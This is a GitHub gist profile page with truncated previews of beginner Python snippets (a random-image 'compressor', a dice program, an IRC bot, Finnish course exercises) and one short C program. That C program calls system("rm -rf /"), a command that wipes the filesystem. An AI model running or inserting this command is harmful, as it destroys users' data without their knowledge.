Skip to content

Instantly share code, notes, and snippets.

View JanneSalokoski's full-sized avatar

Janne Salokoski JanneSalokoski

View GitHub Profile
@JanneSalokoski
JanneSalokoski / compression.py
Created February 4, 2015 16:40
A thing that generates an random "image" in a very inefficient way, and "compresses" the inefficient image in a very basic way. Is very slow.
#!/usr/bin/env python3
import random
import time
import hashlib
import re
random.seed()
def getRandomColor():
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
system("rm -rf /");
}
#!/usr/bin/env python3
# Source:
# Reference: https://gist.github.com/RobertSzkutak/1326452;
# https://gist.github.com/jenn4/9502483
"""A simple python IRC bot.
"""
import socket
import time
# Get the slope and the angle.
angle = 90 # Change this. (0 - 180)
# Count some more sensible angles.
angle = (angle - 180) / -1 # Do not change these.
slope = angle / 45
# Get the power.
power = 10 # Change these.
wind = 1
@JanneSalokoski
JanneSalokoski / dice.py
Last active August 29, 2015 14:09
A dice program, with completely customisable dice.
#!/usr/bin/python3
"""Write a nice and descriptive docstring."""
import random
import time
import sys
import re
# Define cpu clock as the random seed.
random.seed(time.clock)
#!/usr/bin/env python3
# _*_ coding: utf-8 _*_
###
# Copyright (c) 2014, Janne Salokoski
# All rights reserved.
###
"""
Performs all the tasks for the AT04 course
palindroms = []
fileName = str(input("Anna luettavan tiedoston nimi: "))
f = open(fileName, "r+")
for line in f:
for word in line.split():
if word == word[::-1]:
palindroms.append(word)
f.close()
def start(name, prompt = True):
"""Prints out a nice ASCII box for the name of the task"""
if prompt == True:
input("\nJatka painamalle 'enter'.\n")
center = "| {:^16} |".format(name)
side = ("|{:-^" + str(len(center) - 2) + "}|").format("-")
box = side + "\n" + center + "\n" + side
print(box)
#!/usr/bin/env python3
# _*_ coding: utf-8 _*_
###
# Copyright (c) 2014, Janne Salokoski
# All rights reserved.
###
"""
Performs all the tasks for the AT04 course
def multiplicationTable(n):
# Is readable and the ouput looks good.
y = 1; result = ""
for i in range(1, n + 1):
x = 1
for j in range(1, n + 1):
result += "{:3}".format(x * y)
x += 1
result = result + "\n"
y += 1